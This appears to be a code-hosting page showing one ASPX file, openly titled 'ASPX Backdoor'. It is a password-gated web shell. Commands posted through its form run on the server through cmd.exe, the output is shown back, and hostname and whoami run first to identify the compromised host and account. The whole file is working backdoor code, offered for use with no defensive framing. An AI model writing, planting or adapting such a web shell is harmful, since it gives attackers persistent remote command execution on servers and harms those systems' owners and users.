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			108 lines
		
	
	
		
			3.8 KiB
		
	
	
	
		
			Plaintext
		
	
	
		
			Executable File
		
	
	
	
	
			
		
		
	
	
			108 lines
		
	
	
		
			3.8 KiB
		
	
	
	
		
			Plaintext
		
	
	
		
			Executable File
		
	
	
	
	
<%@ Page Language="C#" Debug="false" Trace="false" %>
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<%@ Import Namespace="System.Diagnostics" %>
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<%@ Import Namespace="System.IO" %>
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<script Language="c#" runat="server">
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    // =====================================================================
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    // Setup global password necessary to pass before using that webshell.
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    public string Password = "5eQzrXZHZwJNLvm6Q2b7PR6r";
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    // =====================================================================
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    void Page_Load(object sender, EventArgs e)
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    {
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        PasswordTextbox.Attributes["value"] = Request.Form["PasswordTextbox"];
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        PasswordTextbox.Attributes["type"] = "password";
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        PasswordTextbox.Text = Request.Form["PasswordTextbox"];
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        CommandTextbox.Value = Request.Form["CommandTextbox"];
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    }
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    string ExcuteCommand(string arg)
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    {
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        if (arg.Length >= 1)
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        {
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            ProcessStartInfo psi = new ProcessStartInfo();
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            psi.FileName = "cmd.exe";
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            psi.Arguments = "/c \""+ arg + "\"";
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            psi.RedirectStandardOutput = true;
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            psi.UseShellExecute = false;
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            Process p = Process.Start(psi);
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            StreamReader stmrdr = p.StandardOutput;
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            string s = stmrdr.ReadToEnd();
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            stmrdr.Close();
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            return s;
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        }
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        return "";
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    }
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    void Launch_OnClick(object sender, System.EventArgs e)
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    {
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        if (Request.Form["PasswordTextbox"] == Password) 
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        {
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            string h = Server.HtmlEncode(ExcuteCommand("hostname")).Trim();
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            string u = Server.HtmlEncode(ExcuteCommand("whoami")).Trim();
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            Hostname.Text = u + "@" + h;
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            CommandOutput.InnerHtml = Server.HtmlEncode(ExcuteCommand(Request.Form["CommandTextbox"]));
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        }
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        else 
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        {
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            Hostname.Text = "unknown";
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            CommandOutput.InnerHtml = "Wrong password provided.";
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        }
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    }
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</script>
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<!DOCTYPE html>
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<html>
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    <head>
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        <title>ASPX Backdoor</title>
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        <script>
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            function setPassword()
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            {
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                document.getElementById("PasswordTextbox").type = 'password';
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            }
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        </script>
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    </head>
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    <body onload='setPassword()'>
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        <h3>ASPX Backdoor.</h3>
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        <i style="font-size:9px">You need to provide valid password in order to leverage RCE.</i>
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        <br/>
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        <font style="font-size:5px" style="font-style:italic;color:grey">coded by <a href="https://github.com/mgeeky">mgeeky</a></font>
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        <br/>
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        <hr/>
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        <form id="cmd" method="post" runat="server">
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        <table style="width:100%">
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            <tr>
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                <td width="40%">
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                    <b style="color:red">Password:</b>
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                </td>
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                <td width="60%">
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                    <asp:TextBox runat='server' id="PasswordTextbox" style="width:30%"></asp:TextBox>
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                </td>
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            </tr>
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            <tr>
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                <td width="40%">
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                    <b style="color:blue"></b>
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                    <asp:Label id="Hostname" runat='server'></asp:Label>
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                </td>
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                <td width="60%">
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                    <input type=text id="CommandTextbox" runat="server" value='' onClick="this.select();" style="width:80%" onkeydown="if (event.keyCode == 13) { this.form.submit(); return false; }"/>
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                </td>
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            </tr>
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            <tr>
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                <td width="40%">
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                </td>
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                <td width="60%">
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                    <asp:Button id="Launch" runat="server" Text="Execute" OnClick="Launch_OnClick"></asp:Button>
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                </td>
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            </tr>
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        </table>
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        </form>
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        <hr />
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        <pre id="CommandOutput" runat='server' style="background-color:black;color:lightgreen;padding: 5px 25px 25px 25px;"></pre>
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    </body>
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</html>
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